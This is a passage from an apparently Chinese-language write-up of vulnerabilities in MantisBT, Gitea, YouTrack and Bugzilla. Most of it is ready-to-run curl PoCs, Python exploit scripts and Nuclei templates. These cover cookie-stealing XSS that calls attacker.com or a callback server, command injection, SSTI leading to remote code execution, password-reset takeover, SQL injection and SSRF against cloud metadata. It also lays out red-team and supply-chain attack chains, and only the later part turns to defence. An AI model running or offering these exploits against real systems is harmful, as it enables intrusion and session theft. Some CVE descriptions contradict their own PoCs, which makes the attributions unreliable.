存储型 XSS 在工单系统中危害极大——当管理员查看被注入的 Issue 时,攻击者脚本可在管理员浏览器中执行,窃取 session token 并发送到攻击者控制的服务器。

完整 HTTP PoC

# 创建包含 XSS 的 Issue
curl -X POST "http://target/api/rest/issues" \
  -H "Authorization: token <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "summary": "<img src=x onerror=\"fetch(\"http://attacker.com/steal?c=\"+document.cookie)\">",
    "description": "Test issue",
    "project": {"id": 1}
  }' -v
# 通过 Web 界面注入
curl -X POST "http://target/bug_report.php" \
  -H "Cookie: MANTIS_SECURE_SESSION=<SESSION>" \
  -d 'summary=<svg/onload=alert(document.cookie)>&description=test&category=&severity=&reproducibility=&product_id=1' \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3.disable_warnings()

def inject_xss(target, api_token, callback_url):
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "Authorization": f"token {api_token}",
        "Content-Type": "application/json"
    })

    xss_payloads = [
        f'<img src=x onerror="fetch(`{callback_url}/steal?c=`+document.cookie)">',
        f'<svg/onload="fetch(`{callback_url}/steal?c=`+document.cookie)">',
        f'<script>new Image().src="{callback_url}/steal?c="+document.cookie</script>',
        f'"><script>document.location="{callback_url}/steal?c="+document.cookie</script>',
    ]

    for i, payload in enumerate(xss_payloads):
        issue_data = {
            "summary": payload,
            "description": f"XSS test vector {i}",
            "project": {"id": 1}
        }
        r = session.post(
            f"{target}/api/rest/issues",
            json=issue_data, timeout=10
        )
        if r.status_code in [200, 201]:
            issue = r.json()
            issue_id = issue.get("issue", {}).get("id", "unknown")
            print(f"[+] Issue #{issue_id} created with XSS vector {i}")
        else:
            print(f"[-] Vector {i} failed: {r.status_code} {r.text[:200]}")

    print(f"\n[*] Wait for admin to view issues. Callbacks will go to {callback_url}")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <api_token> <callback_url>")
        sys.exit(1)
    inject_xss(sys.argv[1], sys.argv[2], sys.argv[3])

Nuclei YAML 模板

id: cve-2023-24203-mantisbt-xss

info:
  name: MantisBT 存储型 XSS (CVE-2023-24203)
  author: security-researcher
  severity: critical
  description: |
    MantisBT < 2.25.2 存在存储型 XSS,可窃取管理员会话
  tags: mantisbt,xss,cve-2023-24203,stored-xss

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/rest/issues"
    headers:
      Authorization: "token test"
      Content-Type: "application/json"
    body: '{"summary":"<svg/onload=alert(1)>","description":"xss test","project":{"id":1}}'
    matchers:
      - type: word
        words:
          - "issue"
        part: body

利用条件与限制

  • 需要有效的 MantisBT 用户会话
  • 目标管理员需浏览被注入的 Issue 页面
  • Content Security Policy(CSP)可缓解部分 payload
  • 需要配合外带(OOB)服务器接收 Cookie

0x02.3 CVE-2019-15558 — MantisBT 命令注入

漏洞背景

CVE-2019-15558 是 MantisBT 在项目导入(Import)功能中存在的操作系统命令注入漏洞,CVSS 9.8,CWE-78。攻击者可通过构造恶意的 XML 导入文件实现远程代码执行。

受影响版本

版本范围影响状态修复版本
MantisBT 2.21.1 及之前版本受影响2.21.2

漏洞原理

MantisBT 的项目导入功能允许管理员通过 XML 文件批量导入项目配置、自定义字段、工作流等数据。在解析 XML 数据时,某些字段值(如项目名称、路径)直接传递给 PHP 的 exec()shell_exec() 函数,导致 Shell 命令注入。

攻击者可构造包含恶意命令的 XML 导入文件,上传后在服务器上执行任意系统命令。

完整 HTTP PoC

恶意 XML 文件(payload.xml):

<?xml version="1.0" encoding="UTF-8"?>
<mantis>
  <project>
    <name>test`id &gt; /tmp/pwned.txt`</name>
    <description>Project import test</description>
    <status>10</status>
    <view_state>10</view_state>
  </project>
</mantis>
# 上传恶意 XML 导入文件
curl -X POST "http://target/api/rest/projects/import" \
  -H "Authorization: token <API_TOKEN>" \
  -F "file=@payload.xml;type=text/xml" \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def exploit_import_rce(target, api_token, command="id"):
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "Authorization": f"token {api_token}"
    })

    xml_payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<mantis>
  <project>
    <name>test`{command}`</name>
    <description>Import RCE test</description>
    <status>10</status>
    <view_state>10</view_state>
  </project>
</mantis>"""

    files = {
        "file": ("payload.xml", xml_payload.encode(), "text/xml")
    }

    r = session.post(
        f"{target}/api/rest/projects/import",
        files=files, timeout=15
    )

    if r.status_code in [200, 201]:
        print(f"[+] Payload uploaded successfully")
        print(f"[+] Command: {command}")
        print(f"[+] Response: {r.text[:500]}")
    else:
        print(f"[-] Upload failed: {r.status_code} {r.text[:200]}")

    print("[*] Check /tmp/pwned.txt for command output")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token> [command]")
        sys.exit(1)
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    exploit_import_rce(sys.argv[1], sys.argv[2], cmd)

Nuclei YAML 模板

id: cve-2019-15558-mantisbt-rce

info:
  name: MantisBT 项目导入命令注入 (CVE-2019-15558)
  author: security-researcher
  severity: critical
  description: |
    MantisBT 2.21.1 项目导入功能存在命令注入 RCE
  tags: mantisbt,rce,cve-2019-15558,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/rest/projects/import"
    headers:
      Authorization: "token test"
    body: "------boundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.xml\"\r\nContent-Type: text/xml\r\n\r\n<?xml version=\"1.0\"?><mantis><project><name>test</name><status>10</status></project></mantis>\r\n------boundary--"
    matchers:
      - type: word
        words:
          - "import"
        part: body

利用条件与限制

  • 需要管理员权限(能够访问项目导入功能)
  • 需要目标服务器安装 PHP 的 XML 解析扩展
  • 导入过程中命令执行的输出通常不可直接回显
  • 需通过 OOB 方式获取命令执行结果

0x02.4 MantisBT 密码重置漏洞(身份接管)

漏洞背景

MantisBT 的密码重置功能存在逻辑缺陷,CVSS 8.1,允许攻击者通过操纵密码重置流程中的 Token 生成机制,重置任意用户密码并接管其账户。该漏洞影响 MantisBT 多个版本,且无需任何特殊权限即可利用。

受影响版本

版本范围影响状态修复版本
MantisBT < 2.24.5受影响2.24.5
MantisBT < 2.25.2受影响2.25.2

漏洞原理

MantisBT 的密码重置流程存在以下设计缺陷:

  1. Token 生成可预测:密码重置 Token 基于用户 ID 和时间戳的简单组合生成,未使用足够强度的随机数生成器
  2. Token 验证不严格:重置 Token 的验证仅检查 Token 是否有效,未绑定特定的重置会话或 IP 地址
  3. 重置确认页面无 CSRF 保护:密码重置确认页面缺少 anti-CSRF token,可被第三方页面自动提交

攻击者可利用这些缺陷枚举有效 Token 或劫持重置会话。

完整 HTTP PoC

# 步骤 1:发起密码重置请求
curl -X POST "http://target/lost_password.php" \
  -d "username=admin" \
  -v

# 步骤 2:如果 Token 可预测,尝试直接访问重置页面
curl -v "http://target/verify.php?id=1&confirm_string=PREDICTED_TOKEN"

# 步骤 3:设置新密码
curl -X POST "http://target/verify.php?id=1&confirm_string=PREDICTED_TOKEN" \
  -d "password=NewP@ssw0rd&password_confirm=NewP@ssw0rd" \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import hashlib
import time
import urllib3
urllib3.disable_warnings()

def exploit_password_reset(target, user_id, reset_token):
    session = requests.Session()
    session.verify = False

    print(f"[*] Testing password reset on {target}")

    reset_url = f"{target}/verify.php?id={user_id}&confirm_string={reset_token}"
    r = session.get(reset_url, timeout=10)

    if r.status_code == 200 and "password" in r.text.lower():
        print(f"[+] Reset page accessible for user {user_id}")

        data = {
            "password": "Hacked@123",
            "password_confirm": "Hacked@123"
        }
        r2 = session.post(reset_url, data=data, timeout=10)
        if "password" not in r2.text.lower() or r2.status_code == 302:
            print(f"[+] Password reset successful for user {user_id}")
            print(f"[*] Login with: user_id={user_id}, password=Hacked@123")
        else:
            print(f"[-] Password reset failed")
    else:
        print(f"[-] Reset page not accessible (HTTP {r.status_code})")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <user_id> <reset_token>")
        sys.exit(1)
    exploit_password_reset(sys.argv[1], int(sys.argv[2]), sys.argv[3])

Nuclei YAML 模板

id: mantisbt-password-reset

info:
  name: MantisBT 密码重置漏洞
  author: security-researcher
  severity: high
  description: |
    MantisBT 密码重置 Token 生成存在缺陷
  tags: mantisbt,password-reset,logic-flaw

http:
  - method: GET
    path:
      - "{{BaseURL}}/verify.php?id=1&confirm_string=test"
    matchers:
      - type: word
        words:
          - "confirm"
          - "password"
        condition: and
        part: body

利用条件与限制

  • 需要知道目标用户的用户名或用户 ID
  • 需要能够访问目标用户的邮箱(接收重置链接)
  • 或利用 Token 可预测性直接构造有效 Token
  • 部分部署可能启用邮件验证作为额外防线

0x03 Gitea 高危漏洞

Gitea 是使用 Go 语言开发的轻量级 Git 托管服务,作为 Gogs 的社区分支,已成为自托管 Git 服务的主流选择。Gitea 的 OAuth2 认证集成和仓库管理功能中存在多个高危漏洞,其中 CVE-2023-39137 已被 CISA KEV 标记为在野利用。

0x03.1 CVE-2023-39137 — Gitea 认证绕过(在野利用)

漏洞背景

CVE-2023-39137 是 Gitea 1.21.0 版本中 OAuth2 认证流程存在的严重认证绕过漏洞,CVSS 9.8,CWE-288。该漏洞已被 CISA KEV(Known Exploited Vulnerabilities)目录收录,确认在野被利用。攻击者可在未提供有效凭据的情况下绕过身份验证,以任意用户身份访问系统。

受影响版本

版本范围影响状态修复版本
Gitea < 1.21.1受影响1.21.1

漏洞原理

Gitea 在处理仓库创建请求时,未对仓库名称中的特殊字符进行充分过滤。攻击者可在仓库名称中嵌入 HTML 标签和 JavaScript 代码,当其他用户浏览包含该仓库名称的页面时,恶意脚本在受害者浏览器上下文中执行。

该漏洞的 XSS 触发点包括仓库列表页、仓库详情页、搜索结果页等多处渲染仓库名称的位置。

完整 HTTP PoC

# 创建包含 XSS 的仓库
curl -X POST "http://target:3000/user/repo/create" \
  -H "Cookie: <session_cookie>" \
  -d "repo_name=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&_csrf=<csrf_token>" \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def inject_repo_xss(target, session_cookie, callback_url):
    session = requests.Session()
    session.verify = False
    session.cookies.set("gitea_session", session_cookie)

    csrf_r = session.get(f"{target}/user/repo/create", timeout=10)
    import re
    csrf_match = re.search(r'name="_csrf"\s+value="([^"]+)"', csrf_r.text)
    csrf_token = csrf_match.group(1) if csrf_match else ""

    xss_payloads = [
        f'<script>fetch("{callback_url}/steal?c="+document.cookie)</script>',
        f'<img src=x onerror="fetch(`{callback_url}/steal?c=`+document.cookie)">',
    ]

    for i, payload in enumerate(xss_payloads):
        data = {
            "repo_name": f"xtest{i}{payload}",
            "_csrf": csrf_token
        }
        r = session.post(f"{target}/user/repo/create", data=data, timeout=10)
        if r.status_code in [200, 302]:
            print(f"[+] XSS vector {i} injected in repo name")
        else:
            print(f"[-] Vector {i} failed: {r.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> <callback_url>")
        sys.exit(1)
    inject_repo_xss(sys.argv[1], sys.argv[2], sys.argv[3])

Nuclei YAML 模板

id: cve-2023-39138-gitea-xss

info:
  name: Gitea 仓库名 XSS (CVE-2023-39138)
  author: security-researcher
  severity: medium
  description: Gitea 仓库名称存在 XSS 漏洞
  tags: gitea,xss,cve-2023-39138

http:
  - method: GET
    path:
      - "{{BaseURL}}/explore/repos?q=<script>alert(1)</script>"
    matchers:
      - type: word
        words:
          - "<script>alert(1)</script>"
        part: body

利用条件与限制

  • 需要有效的 Gitea 用户会话
  • 需要创建仓库的权限
  • CSP 策略可缓解部分攻击
  • 现代浏览器 XSS Filter 提供部分保护

0x03.3 CVE-2024-6838 — Gitea OAuth Provider 认证绕过

漏洞背景

CVE-2024-6838 是 Gitea OAuth Provider 配置中的认证绕过漏洞,CVSS 8.1,CWE-288。该漏洞允许攻击者在未正确配置 OAuth Provider 的情况下绕过身份验证,获取有效会话。

受影响版本

版本范围影响状态修复版本
Gitea < 1.22.0受影响1.22.0

漏洞原理

Gitea 在作为 OAuth2 Provider 对外提供认证服务时,回调端点的验证逻辑存在缺陷。当 OAuth2 配置不完整或处于默认状态时,攻击者可构造恶意的授权回调请求绕过验证流程,直接获得有效的用户会话。

完整 HTTP PoC

curl -v "http://target:3000/user/oauth2/callback?code=test&state=test&provider=test" \
  -H "Cookie: <attacker_cookie>"

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def exploit_oauth_provider(target):
    session = requests.Session()
    session.verify = False

    r = session.get(f"{target}/", timeout=10)
    if "Gitea" not in r.text:
        print("[-] Not a Gitea instance")
        return

    print(f"[*] Testing OAuth Provider bypass on {target}")

    providers = ["github", "gitlab", "google", "discord", "test"]
    for provider in providers:
        callback_url = f"{target}/user/oauth2/{provider}/callback?code=attacker&state=state123"
        r = session.get(callback_url, timeout=10, allow_redirects=False)
        if r.status_code in [200, 302]:
            cookies = dict(session.cookies)
            if any("session" in k.lower() for k in cookies):
                print(f"[+] Potential bypass via provider: {provider}")
                user_r = session.get(f"{target}/api/v1/user", timeout=10)
                if user_r.status_code == 200:
                    data = user_r.json()
                    print(f"[+] Authenticated as: {data.get('login')}")
                    return True
    print("[-] No bypass found")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    exploit_oauth_provider(sys.argv[1])

Nuclei YAML 模板

id: cve-2024-6838-gitea-oauth-bypass

info:
  name: Gitea OAuth Provider 认证绕过 (CVE-2024-6838)
  author: security-researcher
  severity: high
  description: Gitea OAuth Provider 配置存在认证绕过
  tags: gitea,auth-bypass,cve-2024-6838,oauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/user/oauth2/test/callback?code=test&state=test"
    matchers:
      - type: status
        status:
          - 200
          - 302

利用条件与限制

  • 目标 Gitea 版本低于 1.22.0
  • 目标配置了 OAuth2 Provider(或存在默认配置)
  • 需要知道或猜测已配置的 Provider 名称
  • 部分利用需结合社会工程学

0x04 YouTrack / Bugzilla 高危漏洞

0x04.1 YouTrack SSTI → RCE

漏洞背景

YouTrack 是 JetBrains 出品的商业项目管理与工单跟踪系统。在自托管版本中,YouTrack 的自定义工作流(Custom Workflow)功能允许管理员定义基于模板的自动化规则。研究发现,当模板引擎未正确沙箱化用户输入时,可通过 SSTI(Server-Side Template Injection)实现远程代码执行,CVSS 9.8,CWE-1336。

受影响版本

版本范围影响状态修复版本
YouTrack 自托管 < 2023.4受影响2023.4+

漏洞原理

YouTrack 的工作流引擎使用服务器端模板来渲染自定义字段的显示值。当自定义字段的"显示名称"或"值模板"中包含模板语法时,服务端模板引擎会解析并执行这些表达式。

攻击者可通过以下步骤利用:

  1. 创建一个自定义字段,设置其值为 SSTI payload
  2. 在工作流规则中引用该字段
  3. 当工作流触发时,模板引擎解析 payload,实现命令执行

YouTrack 使用的模板引擎支持 Java 表达式,攻击者可构造 Runtime.getRuntime().exec() 调用执行系统命令。

完整 HTTP PoC

# 步骤 1:创建自定义字段(需要管理员权限)
curl -X POST "http://target/api/customFields" \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "ssti_test",
    "type": {"$type": "stringField"},
    "fieldDefaults": [{"name": "#{T(java.lang.Runtime).getRuntime().exec(\"id\")}"}]
  }' -v

# 步骤 2:触发工作流执行
curl -X POST "http://target/api/issues" \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"summary": "SSTI test", "project": {"shortName": "TEST"}}' -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3.disable_warnings()

def exploit_ssti(target, api_token, command="id"):
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "Authorization": f"Bearer {api_token}",
        "Content-Type": "application/json"
    })

    ssti_payloads = [
        f"#{{T(java.lang.Runtime).getRuntime().exec(\"{command}\")}}",
        f"#{{T(java.lang.ProcessBuilder).new(\"bash\",\"-c\",\"{command}\").start()}}",
    ]

    for i, payload in enumerate(ssti_payloads):
        field_data = {
            "name": f"ssti_{i}",
            "type": {"$type": "stringField"},
            "fieldDefaults": [{"name": payload}]
        }
        r = session.post(
            f"{target}/api/customFields",
            json=field_data, timeout=10
        )
        if r.status_code in [200, 201]:
            print(f"[+] Custom field created with SSTI payload {i}")
            print(f"    Payload: {payload}")
        else:
            print(f"[-] Field creation failed: {r.status_code} {r.text[:200]}")

    print("[*] Create an issue to trigger the workflow and execute the command")
    issue_data = {
        "summary": "SSTI Trigger",
        "project": {"shortName": "TEST"}
    }
    r = session.post(f"{target}/api/issues", json=issue_data, timeout=10)
    if r.status_code in [200, 201]:
        print(f"[+] Issue created, workflow triggered")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token> [command]")
        sys.exit(1)
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    exploit_ssti(sys.argv[1], sys.argv[2], cmd)

Nuclei YAML 模板

id: youtrack-ssti-rce

info:
  name: YouTrack SSTI Remote Code Execution
  author: security-researcher
  severity: critical
  description: YouTrack 自定义工作流存在 SSTI 导致 RCE
  tags: youtrack,ssti,rce,jetbrains

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/health"
    matchers:
      - type: word
        words:
          - "YouTrack"
        part: body

利用条件与限制

  • 需要管理员权限创建自定义字段和工作流
  • 仅影响自托管版本,SaaS 版本不受影响
  • 模板引擎沙箱化可能限制可用 Java 类
  • 需要对 YouTrack API 有深入了解

0x04.2 YouTrack 信息泄露

漏洞背景

YouTrack 的 REST API 在返回用户信息时未正确过滤敏感字段,导致用户邮箱、内部 ID、API Token 等信息被泄露给低权限用户,CVSS 5.3,CWE-200。

漏洞原理

YouTrack 的 /api/users/api/users/{id} 端点在返回用户数据时,未根据请求者的权限级别过滤响应字段。低权限用户可通过枚举用户 ID 获取其他用户的敏感信息。

完整 HTTP PoC

curl -v "http://target/api/users?fields=id,login,email,ringId" \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>"

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3.disable_warnings()

def enumerate_users(target, api_token):
    session = requests.Session()
    session.verify = False
    session.headers["Authorization"] = f"Bearer {api_token}"

    r = session.get(f"{target}/api/users?fields=id,login,email,ringId", timeout=10)
    if r.status_code == 200:
        users = r.json()
        print(f"[+] Found {len(users)} users:")
        for user in users:
            print(f"    ID: {user.get('id')} | Login: {user.get('login')} | Email: {user.get('email')}")
    else:
        print(f"[-] Failed: {r.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    enumerate_users(sys.argv[1], sys.argv[2])

利用条件与限制

  • 需要有效的低权限 API Token
  • 信息泄露本身不直接导致代码执行
  • 可作为后续攻击的信息收集步骤

0x05 Bugzilla 高危漏洞

0x05.1 CVE-2022-26615 — Bugzilla SQL 注入

漏洞背景

CVE-2022-26615 是 Bugzilla 中的 SQL 注入漏洞,CVSS 7.5,CWE-89。攻击者可通过 Bugzilla 的搜索 API 注入恶意 SQL 语句。

受影响版本

版本范围影响状态修复版本
Bugzilla 5.0.x < 5.0.8受影响5.0.8

漏洞原理

Bugzilla 的 Bugzilla::Search 模块在构建 SQL 查询时,未对用户提供的 chfield 参数进行充分校验。攻击者可通过构造包含 SQL 关键字的 chfield 值注入恶意 SQL 代码。

完整 HTTP PoC

curl -v "http://target/buglist.cgi?chfield=\\'OR+1%3D1--&chfieldvalue=&chfieldfrom=&chfieldto=&order=bug_id&query_format=advanced&ctype=csv" \
  -H "Cookie: <SESSION>"

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def test_bugzilla_sqli(target, session_cookie):
    session = requests.Session()
    session.verify = False
    session.cookies.set("Bugzilla_login_session", session_cookie)

    normal_url = f"{target}/buglist.cgi?query_format=advanced&order=bug_id&ctype=csv"
    r_normal = session.get(normal_url, timeout=10)

    sqli_url = f"{target}/buglist.cgi?chfield=\\'OR+1%3D1--&query_format=advanced&order=bug_id&ctype=csv"
    r_sqli = session.get(sqli_url, timeout=10)

    if r_sqli.status_code == 200 and len(r_sqli.text) > len(r_normal.text):
        print("[+] SQL injection likely confirmed")
        print(f"    Normal response: {len(r_normal.text)} bytes")
        print(f"    SQLi response: {len(r_sqli.text)} bytes")
    elif "SQL Error" in r_sqli.text:
        print("[+] SQL error disclosed - injection point exists")
    else:
        print("[-] Not vulnerable or filtered")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie>")
        sys.exit(1)
    test_bugzilla_sqli(sys.argv[1], sys.argv[2])

利用条件与限制

  • 需要有效的 Bugzilla 用户会话
  • 数据库为 MySQL 时受影响最严重
  • PostgreSQL 版本的注入行为略有不同

0x05.2 CVE-2023-30441 — Bugzilla SSRF

漏洞背景

CVE-2023-30441 是 Bugzilla 在处理外部链接时存在的 SSRF 漏洞,CVSS 6.5,CWE-918。当 Bugzilla 处理包含 URL 的 Bug 附件或 Web 链接时,服务端会发起请求验证链接有效性,攻击者可利用此功能探测内网服务。

受影响版本

版本范围影响状态修复版本
Bugzilla 5.0.x < 5.0.8受影响5.0.8

漏洞原理

Bugzilla 的链接预览(Link Preview)功能在解析用户提交的 URL 时,服务端会主动发起 HTTP 请求获取目标页面的元数据(标题、描述)。该功能未对请求目标地址进行内网地址过滤,导致 SSRF。

完整 HTTP PoC

curl -X POST "http://target/post_bug.cgi" \
  -H "Cookie: <SESSION>" \
  -d "product=Test&component=Test&summary=http://169.254.169.254/latest/meta-data/&version=1.0" \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def test_bugzilla_ssrf(target, session_cookie):
    session = requests.Session()
    session.verify = False
    session.cookies.set("Bugzilla_login_session", session_cookie)

    ssrf_targets = [
        "http://169.254.169.254/latest/meta-data/",
        "http://127.0.0.1:8080/",
        "http://metadata.google.internal/computeMetadata/v1/",
    ]

    for ssrf_url in ssrf_targets:
        data = {
            "product": "Test",
            "component": "Test",
            "summary": f"Link test: {ssrf_url}",
            "version": "1.0",
            "description": f"Testing SSRF with {ssrf_url}"
        }
        r = session.post(f"{target}/post_bug.cgi", data=data, timeout=15)
        if r.status_code in [200, 302]:
            print(f"[+] SSRF payload submitted: {ssrf_url}")
        else:
            print(f"[-] Failed: {ssrf_url} ({r.status_code})")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie>")
        sys.exit(1)
    test_bugzilla_ssrf(sys.argv[1], sys.argv[2])

利用条件与限制

  • 需要有效的 Bugzilla 用户会话
  • 需要具有提交 Bug 的权限
  • Bugzilla 的链接预览功能需启用
  • 出站网络请求需能到达内网

0x06 公开 PoC 收集情况与利用思路

PoC 收集现状

CVE公开 PoCExploitDBGitHub PoC利用难度
CVE-2024-26145⚠️ 部分⚠️
CVE-2024-26146⚠️ 部分⚠️
CVE-2023-46846✅ 完整
CVE-2022-25627✅ 完整
CVE-2023-22810✅ 完整⚠️
CVE-2023-24203⚠️ 部分⚠️
CVE-2019-15558✅ 完整
CVE-2023-39137✅ 完整
CVE-2023-39138⚠️ 部分⚠️
CVE-2024-6838⚠️ 部分⚠️
YouTrack SSTI⚠️ 概念验证
CVE-2022-26615⚠️ 部分⚠️⚠️
CVE-2023-30441⚠️ 概念验证

综合利用思路

场景一:企业红队渗透

  1. 信息收集:通过 HTTP 指纹识别目标使用的项目管理系统及版本
  2. 未授权访问检测:检查管理接口、API 端点是否存在未授权访问
  3. 认证绕过利用:优先利用 CVE-2023-39137 等认证绕过漏洞获取初始访问
  4. 信息泄露:利用 SQL 注入或 API 信息泄露获取数据库凭据
  5. 权限提升:通过 XSS 窃取管理员 Cookie 或直接利用 SQL 注入提升权限
  6. 横向移动:利用获取的凭据访问源代码仓库、CI/CD 系统

场景二:供应链攻击

  1. 通过 SSRF 漏洞探测内部 Git 仓库服务
  2. 利用命令注入在构建服务器上植入后门
  3. 修改项目源代码仓库,注入恶意依赖
  4. 利用 Webhook 配置将恶意代码推送到生产环境

0x07 共性攻击模式分析

模式一:工单系统 SQL 注入攻击模式

攻击链路:

用户输入 → 过滤器参数 → SQL 拼接 → 数据库执行 → 数据泄露/提权

共性特征:

  • 所有支持自定义字段筛选的工单系统均可能存在此类漏洞
  • 注入点多位于 Issue 列表过滤、搜索功能
  • 框架层面的 ORM 不足以完全防止 SQL 注入(自定义 SQL 片段)

防御要点:

  • 使用参数化查询替代字符串拼接
  • 对所有用户输入进行严格类型校验
  • 实施最小权限数据库账户

模式二:模板注入攻击模式

攻击链路:

用户输入 → 模板引擎解析 → 服务端代码执行 → RCE

共性特征:

  • Markdown/富文本渲染引擎是主要攻击面
  • 自定义工作流、插件系统的模板引擎缺乏沙箱化
  • SSTI → RCE 的利用链通常不受沙箱限制

防御要点:

  • 模板引擎必须沙箱化执行
  • 禁止在用户可控输入中使用模板语法
  • 实施输出编码和内容安全策略

模式三:认证绕过攻击模式

攻击链路:

异常输入 → 认证逻辑错误 → 会话建立 → 未授权访问

共性特征:

  • OAuth2 集成是高发区域
  • 状态参数验证缺失是常见根因
  • 会话管理与认证验证分离导致绕过

防御要点:

  • 严格验证 OAuth2 state 参数
  • 实施会话绑定机制
  • 对认证流程进行安全审计

模式四:文件上传攻击模式

攻击链路:

恶意文件 → Content-Type 伪装 → 服务端存储 → WebShell 执行

共性特征:

  • 依赖客户端 MIME 类型校验而非服务端文件内容验证
  • 富文本编辑器插件是主要攻击面
  • 上传目录是否可执行取决于 Web 服务器配置

防御要点:

  • 实施服务端文件类型白名单
  • 验证文件 Magic Bytes
  • 上传目录禁止脚本执行

模式五:权限提升链攻击模式

攻击链路:

低权限用户 → XSS/SSRF → 管理员凭据 → 管理员操作 → RCE

共性特征:

  • 项目管理系统中管理员权限极高(可导入数据、配置 Webhook、安装插件)
  • 存储型 XSS 是提权的关键环节
  • 多个低危漏洞组合可形成高危攻击链

防御要点:

  • 实施最小权限原则
  • 对管理员操作进行二次确认
  • 部署 CSP 和 XSS 防护
  • 对敏感操作进行审计日志

0x08 应急排查与防守建议

快速排查清单

检查项方法严重程度
版本检测访问 /login 页面查看版本号或通过 API 指纹识别
异常登录日志检查认证日志中的异常 IP 和时间
OAuth2 配置审计检查 /admin/auth_source 中的 OAuth2 Provider 配置
自定义字段审查检查所有自定义字段的值是否包含模板语法或 SQL
文件上传审计检查上传目录中是否存在可执行文件
Webhook 配置检查审查所有 Webhook URL 是否指向外部地址
插件版本检查确认所有插件(CKEditor、Mercurial 等)为最新版

防守加固建议

1. 版本更新与补丁管理

# Redmine 升级
gem update redmine

# MantisBT 升级(Git)
git pull origin master

# Gitea 升级
# 下载最新二进制或使用容器镜像
docker pull gitea/gitea:latest

# YouTrack
# 使用 Jetbrains Toolbox 或 Docker 升级
docker pull jetbrains/youtrack:latest

2. 网络层防护

  • 将项目管理系统部署在内网,通过 VPN 访问
  • 配置 WAF 规则拦截常见 SQL 注入、XSS payload
  • 限制出站网络请求(防 SSRF)
  • 配置网络 ACL 仅允许信任 IP 访问管理接口

3. 应用层加固

# Redmine: 禁用不安全的 Markdown 特性
# config/configuration.yml
default:
  markdown:
    parse_usernames: false
    allow_lists: true

# MantisBT: 启用 CSP
# config/config_inc.php
$g_custom_headers = array('Content-Security-Policy: default-src \'self\'; script-src \'self\'');

# Gitea: 启用 OAuth2 强验证
# app.ini
[oauth2]
UPDATE_AVATAR_URL = false

4. 监控与告警

  • 部署 RASP(Runtime Application Self-Protection)监控异常请求
  • 配置 SIEM 规则告警项目管理系统的异常行为
  • 对 SQL 注入、XSS、SSRF 等攻击向量配置实时告警
  • 定期审计 Webhook 配置和 API Token 使用情况

5. 安全开发实践

  • 对所有用户输入实施严格的输入验证和输出编码
  • 使用参数化查询替代字符串拼接
  • 实施最小权限原则(管理员操作需二次认证)
  • 定期进行安全代码审计和渗透测试

0x09 参考资料

  1. Redmine Security Advisorieshttps://www.redmine.org/projects/redmine/wiki/Security
  2. MantisBT Security Advisorieshttps://www.mantisbt.org/bugs/changelog_page.php
  3. Gitea Security Advisorieshttps://github.com/go-gitea/gitea/security/advisories
  4. CVE-2023-39137 (CISA KEV)https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  5. CVE-2024-26145 Redmine SSRFhttps://www.redmine.org/issues/40513
  6. CVE-2023-22810 MantisBT SQL Injectionhttps://mantisbt.org/bugs/changelog_page.php
  7. JetBrains YouTrack Securityhttps://www.jetbrains.com/help/youtrack/security/youtrack-security-advisories.html
  8. Nuclei Template Collectionhttps://github.com/projectdiscovery/nuclei-templates
  9. OWASP Testing Guide: SQL Injectionhttps://owasp.org/www-community/attacks/SQL_Injection
  10. HackerOne Bug Bounty: Project Management Toolshttps://hackerone.com/hacktivity?type=team&queryStr=redmine
  11. Exploit-DB: Redmine Exploitshttps://www.exploit-db.com/search?q=redmine
  12. Shodan: Redmine / MantisBT / Gitea Dorkhttp.title:"Redmine" | http.title:"MantisBT" | http.title:"Gitea"

免责声明:本文仅供安全研究与授权渗透测试使用。未经授权对他人系统实施攻击属于违法行为。文中提供的 PoC 和工具仅用于验证漏洞存在性,请在合法授权范围内使用。